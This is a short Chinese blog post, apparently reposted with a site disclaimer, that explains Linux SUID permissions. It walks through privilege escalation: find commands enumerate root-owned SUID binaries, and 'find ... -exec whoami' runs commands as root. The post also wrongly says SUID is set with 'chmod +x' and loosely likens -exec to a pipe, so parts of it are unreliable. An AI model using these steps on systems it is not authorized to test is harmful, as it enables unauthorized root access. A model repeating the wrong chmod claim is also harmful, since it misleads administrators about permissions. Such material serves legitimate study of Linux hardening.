一、SUID权限简介：
SUID权限只可以赋予一个可执行文件（不然没有任何意义)，任何人执行该赋予SUID权限的文件，文件执行过程中，他将获得该文件所属者相同的权限（即其有效UID变成了文件所属者的UID)，一旦结束执行，其权限被回收。
二、如何赋予文件SUID权限：
chmod +x 文件名
三、SUID提权步骤：
- 寻找所有携带SUID权限的文件
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \; - 使用具有SUID权限的命令结合exec进行提权操作
find /tmp/a.txt -exec whoami \;
find: 假设find命令有SUID权限
/tmp/a.txt：随便找个文件寻找即可，这个不重要
-exec：该命令类似于管道符 |，将前者的输入作为后者的输入，但是我们在此例中并没有用到，我们用到了它的另一个功能：在不切换pid的情况下，执行其他命令，这个有兴趣可以再去具体了解了解
whoami： 查询当前用户，你会发现你成为了root
;：因为-exec必须以分号作为命令结束符，为了防止不同OS对;的解释不同，所以加上转义
标签：文件,exec,SUID,提权,权限,find 来源： https://www.cnblogs.com/mulixianbei/p/16583033.html
本站声明： 1. iCode9 技术分享网（下文简称本站）提供的所有内容，仅供技术学习、探讨和分享； 2. 关于本站的所有留言、评论、转载及引用，纯属内容发起人的个人观点，与本站观点和立场无关； 3. 关于本站的所有言论和文字，纯属内容发起人的个人观点，与本站观点和立场无关； 4. 本站文章均是网友提供，不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属；如您发现该文章侵犯了您的权益，可联系我们第一时间进行删除； 5. 本站为非盈利性的个人网站，所有内容不会用来进行牟利，也不会利用任何形式的广告来间接获益，纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。